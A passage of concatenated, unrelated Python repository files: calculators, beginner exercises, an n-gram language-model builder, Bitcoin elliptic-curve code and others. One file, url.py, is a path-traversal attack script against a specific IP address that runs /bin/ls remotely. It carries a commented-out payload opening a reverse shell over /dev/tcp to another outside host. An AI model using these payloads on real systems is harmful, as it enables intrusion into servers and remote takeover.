tests passed.")
7902b4371b52d1ffa96ed2da740d137d6d02b95b
PhyzXeno/pythonScripts
/Practice/urllib2/url.py
630
3.546875
4
#发现一个文件目录可访问的地址 import urllib.request import ssl import os file_o = open(os.getcwd() + '\\' + 'back.txt', 'wb+') def main(): context = ssl._create_unverified_context() command = '/bin/ls' url = "https://124.198.30.200/js/../../../../../../../.." + command + "%00.css" # url = "https://124.198.30.200/js/../../../../../../../../bin/sh%20-c%20%22sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F45.76.106.207%2F1234%200%3E%261%22%00.css" requ = urllib.request.urlopen(url, context=context) resp = requ.read() file_o.write(resp) if __name__ == '__main__': main() file_o.close()
c4f7184967025d840cde3c3f5f0de660b033d41f
saurabhceaseless/Python-Tkinter-Stuff
/calculator.py
3,459
4.25
4
... A simple Python Tkinter based calculator, for now it can only perform addition and subtraction The code is very simple, the first Tkinter program I wrote to build a simple calculator ... from tkinter import * root = Tk() root.title("Saurabh's Calculator") e = Entry(width=30, borderwidth=5) e.grid(row=0, column=0, columnspan=3, padx=10, pady=10) num1 = "" num2 = "" last_operator = "" last_equal = False def button_click(number): global last_equal current = "" if last_equal == TRUE: last_equal = FALSE current = number e.delete(0, END) e.insert(0, str(current)) else: current = e.get() e.delete(0, END) e.insert(0, str(current) + str(number)) def button_clean(): global num1, num2, last_operator e.delete(0, END) num1 = "" num2 = "" last_operator = "" def button_operator(operator, last_operator1): #print(last_operator1) global last_operator, num1 if last_operator1 == "": num1= e.get() #print(str(num1)) e.delete(0, END) if operator == "plus": last_operator = "plus" elif operator =="minus": last_operator = "minus" def button_equal(last_operator1): global num1, num2, last_equal global last_operator if last_operator1 != "": num2 = e.get() e.delete(0, END) if last_operator == "plus": e.insert(0, int(num1)+int(num2)) elif last_operator == "minus": e.insert(0, int(num1)-int(num2)) last_operator="" last_equal = TRUE button_1 = Button(root, padx=30, pady=20, command=lambda: button_click(1), text="1") button_2 = Button(root, padx=30, pady=20, command=lambda: button_click(2), text="2") button_3 = Button(root, padx=30, pady=20, command=lambda: button_click(3), text="3") button_4 = Button(root, padx=30, pady=20, command=lambda: button_click(4), text="4") button_5 = Button(root, padx=30, pady=20, command=lambda: button_click(5), text="5") button_6 = Button(root, padx=30, pady=20, command=lambda: button_click(6), text="6") button_7 = Button(root, padx=30, pady=20, command=lambda: button_click(7), text="7") button_8 = Button(root, padx=30, pady=20, command=lambda: button_click(8), text="8") button_9 = Button(root, padx=30, pady=20, command=lambda: button_click(9), text="9") button_0 = Button(root, padx=30, pady=20, command=lambda: button_click(0), text="0") button_plus = Button(root, padx=30, pady=20, command=lambda: button_operator("plus", last_operator), text="+") button_minus = Button(root, padx=30, pady=20, command=lambda:button_operator("minus", last_operator), text="-") button_equals = Button(root, pady=20, padx=70, text="=", command=lambda: button_equal(last_operator)) button_clear = Button(root, padx=30, pady=20, text="C", command=lambda: button_clean()) button_1.grid(row=1, column="0") button_2.grid(row=1, column="1") button_3.grid(row=1, column="2") button_4.grid(row=2, column="0") button_5.grid(row=2, column="1") button_6.grid(row=2, column="2") button_7.grid(row=3, column="0") button_8.grid(row=3, column="1") button_9.grid(row=3, column="2") button_0.grid(row=4, column="0") button_plus.grid(row="4", column="1") button_minus.grid(row="4", column="2") button_equals.grid(row='5', column="1", columnspan="2") button_clear.grid(row="5", column="0") #root.pack() root.mainloop()
905a041413fcbd266637408bd76385875cfe8875
MaratAG/GB_mains_of_python
/lesson_4_3.py
358
4.125
4
""" 3. Для чисел в пределах от 20 до 240 найти числа, кратные 20 или 21. Необходимо решить задание в одну строку. """ start_number = 20 finish_number = 240 multiple = 20 output_list = [item for item in range(start_number, finish_number) if item % multiple == 0] print(output_list)
4c900ee18ea3772db233776fff935eb34891eaa6
arifinsugawa/CP1404Assignments_ArifinSugawa_jc261529
/test_song.py
552
4.25
4
"""This is to test for Song.""" from song import Song # Default test for an empty song song = Song() songlist = [] print(song) assert song.artist == "" assert song.title == "" assert song.year == 0 assert song.is_required # To test the song's initial value song2 = Song("Amazing Grace", "John Newton", 1779, True) songlist.append(song2) song2 = Song("I want to hold your hand)", "The beatles", 1962, False) songlist.append(song2) song2 = Song("its now or never)", "Unknown Artist", 1956, True) songlist.append(song2) for item in songlist: print(item)
9b6eb723515e035ed512ee458bd5b660768d0cd2
arleyribeiro/solving-problems-and-studies
/hackerrank/python_language_proficiency/tinta.py
1,423
4.125
4
import math area_para_pintar = float(input("Insira o tamanho em m² da área a ser pintada: ")) # Constantes COBERTURA_DA_TINTA_LITRO_POR_METRO_QUADRADO = 6 QUANTIDADE_TINTA_LATA = 18 PRECO_POR_LATA = 80 QUANTIDADE_TINTA_GALAO = 3.6 PRECO_POR_GALAO = 25 quantidade_necessaria_de_tinta = area_para_pintar / COBERTURA_DA_TINTA_LITRO_POR_METRO_QUADRADO quantidade_galoes = 0 quantidade_latas = math.floor(quantidade_necessaria_de_tinta / QUANTIDADE_TINTA_LATA) quantidade_restante_tinta = quantidade_necessaria_de_tinta % QUANTIDADE_TINTA_LATA if (quantidade_restante_tinta > QUANTIDADE_TINTA_GALAO * 3): quantidade_latas += 1 else: quantidade_galoes += math.ceil(quantidade_restante_tinta / QUANTIDADE_TINTA_GALAO) if quantidade_latas > 0 and quantidade_galoes == 0: print("Comprar apenas ", quantidade_latas, "latas " if quantidade_latas > 1 else " lata") elif quantidade_latas == 0 and quantidade_galoes > 0: print("Comprar apenas ", quantidade_galoes, "galoes " if quantidade_galoes > 1 else " galoes") elif quantidade_latas > 0 and quantidade_galoes > 0: print("Comprar apenas ", quantidade_latas, "latas e" if quantidade_latas > 1 else " lata e ", quantidade_galoes, " galoes" if quantidade_galoes > 1 else " galoes") else: print("Área informada inválida") valor_total = quantidade_latas * PRECO_POR_LATA + quantidade_galoes * PRECO_POR_GALAO print("Valor total: R$ %.2f " % valor_total)
3fccfaadfec780de81ba5d82a162546f080465ff
NataljaRokina/Python_training_NR
/New_project_24_09/Python_new.py
107
3.921875
4
dinner = input(f"What will be for the dinner today?") dinner = str(dinner) print(f"we will eat {dinner}")
863595669afcc7a2ebe6f652597bf2410bebdc45
recardona/Coursera-AI-Planning
/week1/src/missionaries.py
6,924
3.65625
4
#!/usr/bin/python ''' week1.missionaries.py @author: recardona ''' from search import tree_search from search import SearchProblem from action import Action from state import State from successor import SuccessorFunction def main(): move_one_missionary = Action("Move One Missionary") move_two_missionaries = Action("Move Two Missionaries") move_one_cannibal = Action("Move One Cannibal") move_two_cannibals = Action("Move Two Cannibals") move_one_and_one = Action("Move One Missionary + One Cannibal") initial_state = State("Init", {'L':{'3m','3c','b'}, 'R':{'0m','0c'}}) goal_state = State("Goal", {'L':{'0m','0c'}, 'R':{'3m','3c','b'}}) # Any state where cannibals outnumber missionaries is not a valid state one_and_one_over = State("1m1c Over", {'L':{'2m','2c'}, 'R':{'1m','1c','b'}}) one_and_one_over_without_boat = State("1m1c Over w/o Boat", {'L':{'2m','2c','b'}, 'R':{'1m','1c'}}) two_cannibals_over = State("2c Over", {'L':{'3m','1c'}, 'R':{'0m','2c','b'}}) two_cannibals_over_without_boat = State("2c Over w/o Boat", {'L':{'3m','1c', 'b'}, 'R':{'0m','2c'}}) one_cannibal_over = State("1c Over", {'L':{'3m','2c'}, 'R':{'0m','1c','b'}}) one_cannibal_over_without_boat = State("1c Over w/o Boat", {'L':{'3m','2c','b'}, 'R':{'0m','1c'}}) two_and_two_over = State("2m2c Over", {'L':{'1m','1c'}, 'R':{'2m','2c','b'}}) two_and_two_over_without_boat = State("2m2c Over", {'L':{'1m','1c','b'}, 'R':{'2m','2c'}}) three_cannibals_over = State("3c Over", {'L':{'3m','0c'}, 'R':{'0m','3c','b'}}) three_missionaries_over_without_boat = State("3m Over w/o Boat", {'L':{'0m','3c', 'b'}, 'R':{'3m','0c'}}) three_missionaries_one_cannibal_over = State("3m3c Over", {'L':{'0m','1c'}, 'R':{'3m','1c','b'}}) three_missionaries_one_cannibal_over_without_boat = State("3m1c Over w/o Boat", {'L':{'0m','2c', 'b'}, 'R':{'3m','1c'}}) three_missionaries_two_cannibals_over = State("3m2c Over", {'L':{'0m','1c'}, 'R':{'3m','2c','b'}}) #Example invalid states: #two_cannibals_over_without_boat = State("2c Over w/o Boat", {'L':{'3m','1c', 'b'}, 'R':{'0m','2c'}}) #one_missionary_two_cannibals_over = State("1m2c Over", {'L':{'2m','1c'}, 'R':{'1m','2c','b'}}) #Successor Function successor_fn = SuccessorFunction() successor_fn.addMapping(initial_state, move_two_cannibals, two_cannibals_over) successor_fn.addMapping(initial_state, move_one_and_one, one_and_one_over) successor_fn.addMapping(initial_state, move_one_cannibal, one_cannibal_over) #be careful w/mappings that result in the initial_state #you could descend in an infinte loop... #Beginning in (two_cannibals_over) successor_fn.addMapping(two_cannibals_over, move_two_cannibals, initial_state) successor_fn.addMapping(two_cannibals_over, move_one_cannibal, one_cannibal_over_without_boat) #Beginning in (one_and_one_over) successor_fn.addMapping(one_and_one_over, move_one_and_one, initial_state) successor_fn.addMapping(one_and_one_over, move_one_missionary, one_cannibal_over_without_boat) #Beginning in (one_cannibal_over) successor_fn.addMapping(one_cannibal_over, move_one_cannibal, initial_state) #Beginning in (one_cannibal_over_without_boat) successor_fn.addMapping(one_cannibal_over_without_boat, move_one_cannibal, two_cannibals_over) successor_fn.addMapping(one_cannibal_over_without_boat, move_one_missionary, one_and_one_over) successor_fn.addMapping(one_cannibal_over_without_boat, move_two_cannibals, three_cannibals_over) #Beginning in (three_cannibals_over) successor_fn.addMapping(three_cannibals_over, move_one_cannibal, two_cannibals_over_without_boat) successor_fn.addMapping(three_cannibals_over, move_two_cannibals, one_cannibal_over_without_boat) #Beginning in (two_cannibals_over_without_boat) successor_fn.addMapping(two_cannibals_over_without_boat, move_two_missionaries, two_and_two_over) successor_fn.addMapping(two_cannibals_over_without_boat, move_one_cannibal, three_cannibals_over) #Beginning in (two_and_two_over) successor_fn.addMapping(two_and_two_over, move_two_missionaries, two_cannibals_over_without_boat) successor_fn.addMapping(two_and_two_over, move_one_and_one, one_and_one_over_without_boat) #Beginning in (one_and_one_over_without_boat) successor_fn.addMapping(one_and_one_over_without_boat, move_one_and_one, two_and_two_over) successor_fn.addMapping(one_and_one_over_without_boat, move_two_missionaries, three_missionaries_one_cannibal_over) #Beginning in (three_missionaries_one_cannibal_over) successor_fn.addMapping(three_missionaries_one_cannibal_over, move_two_missionaries, one_and_one_over_without_boat) successor_fn.addMapping(three_missionaries_one_cannibal_over, move_one_cannibal, three_missionaries_over_without_boat) #Beginning in (three_missionaries_over_without_boat) successor_fn.addMapping(three_missionaries_over_without_boat, move_one_cannibal, three_missionaries_one_cannibal_over) successor_fn.addMapping(three_missionaries_over_without_boat, move_two_cannibals, three_missionaries_two_cannibals_over) #Beginning in (three_missionaries_two_cannibals_over) successor_fn.addMapping(three_missionaries_two_cannibals_over, move_two_cannibals, three_missionaries_over_without_boat) successor_fn.addMapping(three_missionaries_two_cannibals_over, move_one_cannibal, three_missionaries_one_cannibal_over_without_boat) successor_fn.addMapping(three_missionaries_two_cannibals_over, move_one_missionary, two_and_two_over_without_boat) #Beginning in (two_and_two_over_without_boat) successor_fn.addMapping(two_and_two_over_without_boat, move_one_missionary, three_missionaries_one_cannibal_over) successor_fn.addMapping(two_and_two_over_without_boat, move_one_and_one, goal_state) #Beginning in (three_missionaries_one_cannibal_over_without_boat) successor_fn.addMapping(three_missionaries_one_cannibal_over_without_boat, move_one_cannibal, three_missionaries_two_cannibals_over) successor_fn.addMapping(three_missionaries_one_cannibal_over_without_boat, move_two_cannibals, goal_state) #Define the Search Problem missionaries_and_cannibals = SearchProblem(initial_state, successor_fn, goal_state) plan = tree_search(missionaries_and_cannibals) print(missionaries_and_cannibals) print("\nSolution: \n") for plan_step in plan: if plan_step.action is None: print ("<start>") else: print ("\t"), print (plan_step.action) print("<end>") print("\nExpanded Nodes: \n") for plan_step in plan: print(plan_step) if __name__ == '__main__': main()
907108b0eb4e7cb5f93d387457360e501e8a7aa2
hoytchang/Programming-Bitcoin-Exercises
/ecc.py
7,170
3.546875
4
import math import hashlib import hmac class FieldElement: def __init__(self, num, prime): if num < 0 or num >= prime: error = 'Num {} not in field range 0 to {}'.format(num,prime-1) raise ValueError(error) self.num = num self.prime = prime def __eq__(self, other): if other is None: return False return self.num == other.num and self.prime == other.prime def __ne__(self, other): return not (self == other) #return self.num != other.num or self.prime != other.prime def __repr__(self): return 'FieldElement_{}({})'.format(self.prime, self.num) def __add__(self,other): if self.prime != other.prime: raise RuntimeError('cannot add two numbers in different Fields') num = (self.num + other.num) % self.prime return self.__class__(num, self.prime) def __sub__(self,other): if self.prime != other.prime: raise RuntimeError('cannot subtract two numbers in different Fields') num = (self.num - other.num) % self.prime return self.__class__(num, self.prime) def __mul__(self,other): if self.prime != other.prime: raise RuntimeError('cannot multiply two numbers in different Fields') num = (self.num * other.num) % self.prime return self.__class__(num, self.prime) def __pow__(self, exponent): n = exponent % (self.prime - 1) num = pow(self.num, n, self.prime) return self.__class__(num, self.prime) def __truediv__(self,other): if self.prime != other.prime: raise RuntimeError('cannot divide two numbers in different Fields') # use the formula a/b = ab**-1 = ab**(p-2) num1 = pow(other.num, other.prime-2, other.prime) num1_FE = self.__class__(num1, self.prime) num2_FE = self * num1_FE return num2_FE def __rmul__(self, coefficient): c = FieldElement(coefficient,self.prime) return self * c class Point: def __init__(self, x, y, a, b): self.a = a self.b = b self.x = x self.y = y # special case if self.x is None and self.y is None: return # check that point is on curve LHS = self.y**2 RHS = self.x**3 + self.a * self.x + self.b if isinstance(LHS,FieldElement): #convert from FieldElement to float for math.isclose() LHS = LHS.num RHS = RHS.num if not math.isclose(LHS, RHS): raise ValueError('Point ({},{}) is not on the curve where a,b={},{}'.format(x,y,a,b)) def __eq__(self, other): return self.a == other.a and self.b == other.b and self.x == other.x and self.y == other.y def __ne__(self, other): return not (self == other) #return self.a != other.a or self.b != other.b or self.x != other.x or self.y != other.y def __repr__(self): if self.x is None: return 'Point(infinity)' elif isinstance(self.x, FieldElement): return 'Point({},{})_{}_{} FieldElement({})'.format( self.x.num, self.y.num, self.a.num, self.b.num, self.x.prime) else: return 'Point({},{})_{}_{}'.format(self.x, self.y, self.a, self.b) #return 'Point ({},{}) on curve a,b={},{}'.format(self.x, self.y, self.a, self.b) def __add__(self, other): if self.a != other.a or self.b != other.b: raise TypeError("Points {}, {} are not on the same curve".format(self,other)) # Case 0.0: self is the point at infinity, return other if self.x is None: return other # Case 0.1: other is the point at infinity, return self if other.x is None: return self # Case 1: self.x == other.x, self.y != other.y # Result is point at infinity if self.x == other.x and self.y != other.y: return self.__class__(None, None, self.a, self.b) # Case 2: self.x != other.x if self.x != other.x: s = (other.y - self.y)/(other.x - self.x) x = s**2 - self.x - other.x y = s*(self.x - x) - self.y return self.__class__(x, y, self.a, self.b) # Case 4: if we are tangent to the vertical line # Return point at infinity # instead of figuring out what 0 is for each type # we just use 0 * self.x if self == other and self.y == 0 * self.x: return self.__class__(None, None, self.a, self.b) # Case 3: self == other if self.x == other.x and self.y == other.y: s = (3*self.x**2 + self.a)/(2*self.y) x = s**2 - 2*self.x y = s*(self.x - x) - self.y return self.__class__(x, y, self.a, self.b) #def __rmul__(self, coefficient): # product = self.__class__(None,None,self.a,self.b) # for _ in range(coefficient): # product += self # return product def __rmul__(self, coefficient): coef = coefficient current = self result = self.__class__(None,None,self.a,self.b) while coef: if coef & 1: result += current current += current coef >>= 1 return result # Parameters for the secp256k1 curve, which bitcoin uses A = 0 B = 7 P = 2**256 - 2**32 - 977 N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 class S256Field(FieldElement): def __init__(self, num, prime = None): super().__init__(num = num, prime = P) def __repr__(self): return '{:x}'.format(self.num).zfill(64) class S256Point(Point): def __init__(self, x, y, a = None, b = None): a, b = S256Field(A), S256Field(B) if type(x) == int: super().__init__(x = S256Field(x), y = S256Field(y), a = a, b = b) else: super().__init__(x = x, y = y, a = a, b = b) def __repr__(self): if self.x is None: return 'S256Point(infinity)' else: return 'S256Point({},{})'.format(self.x, self.y) def __rmul__(self, coefficient): coef = coefficient % N return super().__rmul__(coef) def verify(self, z, sig): s_inv = pow(sig.s, N-2, N) u = z * s_inv % N v = sig.r * s_inv % N total = u * G + v * self return total.x.num == sig.r G = S256Point(0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798, 0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8) class Signature: def __init__(self, r, s): self.r = r self.s = s def __repr__(self): return "Signature({:x},{:x})".format(self.r, self.s) class PrivateKey: def __init__(self, secret): self.secret = secret self.point = secret * G def hex(self): return '{:x}'.format(self.secret).zfill(64) def sign(self, z): k = self.deterministic_k(z) # choose a random k r = (k*G).x.num # calculate R = kG, and r = x-coordinate of R k_inv = pow(k, N-2, N) # fermat's little theorem, N is prime s = (z+r*self.secret) * k_inv % N # calculate s = (z+re)/k #using low-s value will get nodes to relay our transactions. For malleability. if s > N / 2: s = N - s return Signature(r,s) def deterministic_k(self, z): # k needs to be random and unique per signature. Re-using k will result in secret being revealed. k = b'\x00' * 32 v = b'\x01' * 32 if z > N: z -= N z_bytes = z.to_bytes(32, 'big') secret_bytes = self.secret.to_bytes(32, 'big') s256 = hashlib.sha256 k = hmac.new(k, v + b'\x00' + secret_bytes + z_bytes, s256).digest() v = hmac.new(k, v, s256).digest() k = hmac.new(k, v + b'\x01' + secret_bytes + z_bytes, s256).digest() v = hmac.new(k, v, s256).digest() while True: v = hmac.new(k, v, s256).digest() candidate = int.from_bytes(v, 'big') if candidate >= 1 and candidate < N: return candidate k = hmac.new(k, v + b'\x00', s256).digest() v = hmac.new(k, v, s256).digest()
c10a68a8e86bb80b72b02e92899556c93fab7360
rtain/RM_ICS_Debugging_Challenge
/Debugging Challenge_2/02HW_Q3_ICS: Debugging Challenge #2 (Run Time errors).py
2,150
3.796875
4
from tkinter import * print('henry') # Base window - this is required in order for the program to run win=Tk() # Title setting for the program window win.title("Get those frames to fit!") # Mainframe that holds everything, the big bag! mf=Frame(win) mf.grid(row=0, column=0) # Widget Holders - Frames # These frames are nested inside of the mainframe # This is the parent of all the widgets you make, they will go into one of these three frames # Top - Left Frame wf1=Frame(mf, bg='red') wf1.grid(row=0, column=0) # Top - Right Frame wf2=Frame(mf, bg='blue') wf2.grid(row=0, column=1) # Bottom - Frame (Spans the two column widths) wf3=Frame(mf, bg='yellow') wf3.grid(row=1, column=0, columnspan=2, sticky="NSEW") # Sub Frames These will hold the size of the program # NOTE: the parent of these frames are the widget holders # NOTE_2: the grid locations are 0,0 for each one since they're nested in the widget frame sf1 = Frame(wf1, height=350, width=400, bg='red') sf1.grid(row=0, column=0) sf2 = Frame(wf2, height=350, width=150, bg='blue') sf2.grid(row=0, column=0) sf3 = Frame(wf3, height=300, width=550, bg='yellow') sf3.grid(row=0, column=0, columnspan=2, rowspan=2) # Widgets in wf1 photo = PhotoImage(file="pikachu.png") pikachu=Label(wf1, image=photo) pikachu.photo=photo #backup reference to the photo pikachu.grid(row=0, column=0, stick=(E,W)) # Widgets in wf2 l1 = Label(wf2, text="Enemy Hp:") l1.grid(row=0, column=0, sticky=EW) l2 = Label(wf2, text="Player Hp:") l2.grid(row=1, column=0, sticky=EW) ehp = IntVar() #Don't forget the parentheses! Without them this does not work! ehp.set(10) enemy_hp = Label(wf2, textvariable=ehp) enemy_hp.grid(row=0, column=1, sticky="EW") # Widgets in wf3 b1=Button(wf3, text="atk1") b1.grid(row=0, column=0, sticky=(N,S,E,W)) b2=Button(wf3, text="atk2") b2.grid(row=0, column=1, sticky=(N,S,E,W)) b3=Button(wf3, text="atk3") b3.grid(row=1, column=0, sticky=(N,S,E,W)) b4=Button(wf3, text="atk4") b4.grid(row=1, column=1, sticky=(N,S,E,W)) print('henry') # Calls the GUI window, THIS MUST be below all of your Tk code. # If this is not present a window will not appear win.mainloop()
8546f9670bf8c79e26bf2f16510f709784670b33
JoaoFelipe-AlvesOliveira/LearningPython
/Functions/exercicio_1.py
339
3.765625
4
def calcularAumentoSalario(salario): if salario <1000: aumento = salario*10/100 else: aumento = salario*5/100 return aumento salario = float(input("Digite o valor do salário")) aumento = calcularAumentoSalario(salario) novoSalario = salario+aumento print ("O valor do salário com o aumento é", novoSalario)
6fc6704596c446589ca71e66e11c015804cbd6e8
josedom24/plataforma_pledin
/cursos/_python3/python3/curso/u18/ejercicio5.py
146
3.921875
4
#!/usr/bin/env python for numero in range(1,6): for cont in range(1,11): print ("%2d * %d = %2d" % (cont, numero, cont * numero)) print()
a2f7075175719be6d3a7eba779a7edb55f8fb6bb
WingFung/Scripts-Tools
/test-port.py
742
3.59375
4
import socket import sys host = None port = None if len(sys.argv) == 2: user_input = sys.argv[1] elif len(sys.argv) > 2: user_input = sys.argv[1] + ':' + sys.argv[2] else: user_input = input('Please input the host and port for connection test:\n') user_input = user_input.strip().replace(' ', ':') if ':' in user_input: input_list = user_input.split(':') host = input_list[0] port = input_list[-1] else: (host, port) = (user_input, '80') skt = socket.socket() print('Connecting to ' + host + ':' + port) try: skt.connect((host, int(port))) print('Connected') except: print('Connection failed') finally: if skt is not None: skt.close(); pause = input('\nPress any key to exit...\n')
03c758a0438659420714f08f05f67503989244dd
BjaouiAya/Cours-Python
/Course/Web_course/Sam&Max/heritage_multiple.py
3,221
4.125
4
#! /usr/bin/env python # -*- coding:Utf8 -*- """MULTIPLE INHERITANCE : I HAVE A LOT OF MOTHER """ "SAM AND MAX" ######################################## #### Classes and Methods imported : #### ######################################## ##################### #### Constants : #### ##################### ####################################### #### Classes, Methods, Functions : #### ####################################### class Weapon(object): """Class to create new powerful weapons""" def __init__(self, nom, damage): self.nom = nom self.damage = damage def attack(self, target): if target.armor: damage = target.armor.defend(self.damage) target.health -= damage else: target.health -= self.damage if target.health < 0: target.health = 0 print("{} health = {}".format(target.name, target.health)) class Armor(object): """Class to create awesome armors""" def __init__(self, nom, resistance): self.nom = nom self.resistance = resistance def defend(self, damage): damage = damage - self.resistance if damage < 0: return 0 return damage # Multiple inheritance : from weapon and armor class ReprisalArmor(Armor, Weapon): """Class to create powerful and awesome weapon armored""" def __init__(self, nom, damage, resistance): Armor.__init__(nom, resistance) Weapon.__init__(nom, damage) class PoisonWeapon(Weapon): """A dangerous weapon be careful with it""" def __init__(self, name, damage, poison): super().__init__(name, damage) self.poison = poison def attack(self, target): super().attack(target) target.health -= self.poison if target.health < 0: target.health = 0 print("{} hit by poison, health = {}".format(target.name, target.health)) class Hero(object): """Class to create your hero""" def __init__(self, name, health, weapon=None, armor=None): self.name = name self.health = health self.weapon = weapon self.armor = armor def fight(self, target): print("{} attaque {}".format(self.name, target.name)) while True: if self.weapon: self.weapon.attack(target) if target.health <= 0: break if target.weapon: target.weapon.attack(self) if self.health <= 0: break if self.health > 0: print("{} win and earns so much glory with this awesome fight".format(self.name)) else: print("{} is just another loser ...".format(self.name)) ######################## #### Main Program : #### ######################## # Create an hero and a prat excalibur = Weapon("Excalibur", 500) wood_stick = Weapon("Wood Stick", 2) suit = Armor("Great Suit", 10) hero = Hero("Arthur", 2000, excalibur) morgana = Hero("Morgane", 2000, wood_stick, suit) # Start fight morgana.fight(hero) # New fight with magic help hero.health = 2000 morgana.health = 2000 morgana.weapon = PoisonWeapon("Basilic sword", 100, 500) # Start fight morgana.fight(hero)
8d3aed144a08fae5f6933e8cef601cf97951de72
zepam/uw_nlt_ling570_shallow_nlp
/assignments/ling_570_h5_ngram_count/build_lm.py
7,464
3.5
4
#!/usr/bin/python3 """#### LING 570: Homework #5 - Ryan Timbrook ############ Author: Ryan Timbrook Date: 11/1/2018 Q2: Write build_lm This shell script executes a python program that builds an LM using ngram counts: Format: command line: build_lm.sh ngram_count_file lm_file Input File: ngram_count_file (produced as output from Q1, ngram_count.py) Output File: lm_file (follows ARPA format) **Special Instructions: -For prob and lgprob numbers on each line, truncate to ten places after the decimal -DO NOT USE SMOOTHING for the probability distributions Ran as: $ ./build_lm.sh ngram_count_file lm_file """ import sys, re, math, time from collections import defaultdict from collections import OrderedDict #---- GLOBALS -----# isTest = True isLocal = False cmdArgs = [] ##------------------------------------ # Main Procedural Function ##------------------------------------ def main(): if isTest: print("main: Entering") if isLocal: ngram_count_file= "wsj_sec0_19.ngram_count"; lm_file="wsj_sec0_19.lm" #ngram_count_file= "hw5/examples/ngram_count_ex"; lm_file="wsj_sec0_19.lm" else: ngram_count_file=cmdArgs[0]; lm_file=cmdArgs[1] #open output lm file for writing o_lm = open(lm_file,'w') #readin ngram count file produced from Q1 ngram_count program ngramCountFile = open(ngram_count_file, 'rt') try: unigrams = defaultdict() bigrams = defaultdict() trigrams = defaultdict() tallies = tallyNGrams(ngramCountFile,unigrams,bigrams,trigrams,o_lm) unigrams = sortDictByValue(unigrams, reverse=True) bigrams = sortDictByValue(bigrams, reverse=True) trigrams = sortDictByValue(trigrams, reverse=True) calcProbabilities(tallies,unigrams,bigrams,trigrams,o_lm) finally: ngramCountFile.close() o_lm.close() if isTest: print("main: Exiting") ##------------------------------------------------------------------------ # Util Function: gets totals for each of the ngrams ##------------------------------------------------------------------------ def tallyNGrams(ngramCountFile,unigrams,bigrams,trigrams,o_lm): u_tokens = 0 u_total = 0 b_tokens = 0 b_total = 0 t_tokens = 0 t_total = 0 tallyDict = {'unigrams':(),'bigrams':(),'trigrams':()} for line in ngramCountFile.readlines(): line = line.strip('\n') tokens = re.split("\\s+", line) #unigrams if len(tokens) == 2: u_tokens += 1 u_total += int(tokens[0]) updateDict(tokens,unigrams) tallyDict['unigrams'] = (u_tokens,u_total) #bigrams if len(tokens) == 3: b_tokens += 1 b_total += int(tokens[0]) updateDict(tokens, bigrams) tallyDict['bigrams'] = (b_tokens,b_total) #trigrams if len(tokens) == 4: t_tokens += 1 t_total += int(tokens[0]) updateDict(tokens, trigrams) tallyDict['trigrams'] = (t_tokens,t_total) o_lm.write("\\data\\\n") o_lm.write("ngram 1: type={0} token={1}\n".format(u_tokens,u_total)) o_lm.write("ngram 2: type={0} token={1}\n".format(b_tokens,b_total)) o_lm.write("ngram 3: type={0} token={1}\n".format(t_tokens,t_total)) o_lm.flush() return tallyDict ##------------------------------------------------------------------------ # Util Function: calculate the probability's and log probabilites for ngrams ##------------------------------------------------------------------------ def calcProbabilities(tallies, unigrams, bigrams, trigrams, o_lm): #unigrams o_lm.write("\n\\1-grams:\n") uni_tallies = tallies['unigrams'] for token in unigrams: try: cnt = unigrams[token] prob = float(cnt/uni_tallies[1]) lgprob = math.log10(prob) if not probZero(prob): o_lm.write("{0} {1:0.10f} {2:0.10f} {3}\n".format(cnt, prob, lgprob, token)) except ValueError: pass #bigrams o_lm.write("\n\\2-grams:\n") bi_tallies = tallies['bigrams'] for token in bigrams: token = token.strip() tokens = re.split("\\s+", token) uniCnt = unigrams[tokens[0]] try: cnt = bigrams[token] prob = float(cnt/uniCnt) lgprob = math.log10(prob) if not probZero(prob): o_lm.write("{0} {1:0.10f} {2:0.10f} {3}\n".format(cnt, prob, lgprob, token)) except ValueError: pass #trigrams o_lm.write("\n\\3-grams:\n") tr_tallies = tallies['trigrams'] for token in trigrams: token = token.strip() tokens = re.split("\\s+", token) biCnt = bigrams[tokens[0]+" "+tokens[1]] try: cnt = trigrams[token] prob = float(cnt/biCnt) lgprob = math.log10(prob) if not probZero(prob): o_lm.write("{0} {1:0.10f} {2:0.10f} {3}\n".format(cnt, prob, lgprob, token)) except ValueError: pass o_lm.write("\n\\end\\") ##------------------------------------------------------------------------ ##------------------------------------------------------------------------ # Util Function, Add elements to ngram dictionaries ##------------------------------------------------------------------------ def updateDict(token,ngram): freq = token[0] newToken = "" for e in token[1:]: newToken += ''.join(e)+" " #print(newToken) newToken = newToken.strip() ngram[newToken] = int(freq) ##------------------------------------------------------------------------ ##------------------------------------------------------------------------ # Util Function, Sort Dictionary by Value, return sorted tuple (token, frequency) ##------------------------------------------------------------------------ def sortDictByValue(ngram,reverse=False): newDict = OrderedDict() sortedByValue = sorted(ngram.items(), key=lambda x: x[1], reverse=reverse) for e in sortedByValue: newDict[e[0]] = e[1] return newDict ##------------------------------------------------------------------------ ##------------------------------------------------------------------------ # Util Function, Sort Dictionary by Value, return sorted tuple (token, frequency) ##------------------------------------------------------------------------ def probZero(prob): if prob < float(0.0000000001): if isTest: print("probZero True: {0}".format(prob)) return True else: return False ##------------------------------------------------------------------------ ##------------------------------------ # Execute Main Function ##------------------------------------ if __name__ == "__main__": t0 = time.time() if isTest: print("Number of command line arguments:{0}".format(len(sys.argv))); #remove program file name from input command list sys.argv.remove(sys.argv[0]) if len(sys.argv) > 0: for arg in sys.argv: if isTest: print("argument:{0}".format(arg)) cmdArgs.append(arg.strip()) main() t1 = time.time() duration = t1-t0 if isTest: print("Total processing time:{0:0.10f}".format(duration))
a7a7dfc3d4e41a3ee5ff070516e1d3627c035898
darksugar/pythonProjects
/day01/password.py
332
3.78125
4
#Author:Ivor import getpass _username = "Ivor" _password = "abc123" username = input("username:") password = input("password:") #password = getpass.getpass("password:") if username == _username and password == _password: print("Welcome user {name}".format(name=_username)) else: print("Invalid username or password!")
8342b7580411f32efb677dc31882938949405aa4
wasimpinjari/python-codes
/Assinment 1.py
4,094
3.90625
4
